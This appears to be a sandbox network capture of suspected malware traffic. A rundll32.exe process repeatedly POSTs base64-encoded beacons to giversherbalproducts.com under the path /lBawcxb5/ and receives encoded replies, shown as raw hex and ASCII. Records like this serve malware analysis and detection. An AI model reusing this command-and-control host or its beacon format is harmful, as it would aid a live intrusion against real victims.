f3p/QUVCQ0FBfn15eH96fXh+f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
372	192.168.2.3	50214	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:12.836112976 CEST	7513	OUT	POST /lBawcxb5/D38DRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:13.321877003 CEST	7515	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:12 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
373	192.168.2.3	50215	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:13.648828030 CEST	7516	OUT	POST /lBawcxb5/cgR6FBc8BHI+eUJ7cn5henxzYn1leQ== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:14.089345932 CEST	7517	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:13 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
374	192.168.2.3	50216	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:13.716526031 CEST	7516	OUT	POST /lBawcxb5/KhMvezsNORl8CT0dCAg1e3wyI3skOjMDBHN+LUV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:14.198388100 CEST	7518	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:13 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
375	192.168.2.3	50217	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:14.489674091 CEST	7519	OUT	POST /lBawcxb5/ISh+fnkfGH40HCgAegh7HSAtPik8JwRFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:14.939779043 CEST	7521	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:14 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
376	192.168.2.3	50218	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:14.605051041 CEST	7520	OUT	POST /lBawcxb5/Kn0kJQQ+GyccJwALHwh7DAc4BwFCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:15.116565943 CEST	7521	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:14 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
377	192.168.2.3	50219	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:15.307585001 CEST	7522	OUT	POST /lBawcxb5/DDMnAxgYGi8nBgg/Qn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:15.855623960 CEST	7524	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:15 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
378	192.168.2.3	50220	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:15.494626999 CEST	7523	OUT	POST /lBawcxb5/A30cKiZ6MCx5FgQ8PxokOSQxPz8sJAA1RnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:16.066495895 CEST	7525	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:15 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
379	192.168.2.3	50221	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:16.231609106 CEST	7525	OUT	POST /lBawcxb5/HSgvFB0EKX08IDIsQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:04:16.718364954 CEST	7527	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:04:16 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 2b 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh+ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49793	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:29.320494890 CEST	1124	OUT	POST /lBawcxb5/KQsyKkZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:29.850939035 CEST	1126	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:29 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpzdUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
380	192.168.2.3	50222	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:04:16.420674086 CEST	7526	OUT	POST /lBawcxb5/Pw8fHCYeOiMoNy54GC89KSIxNCkxehgYCBl5OEV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
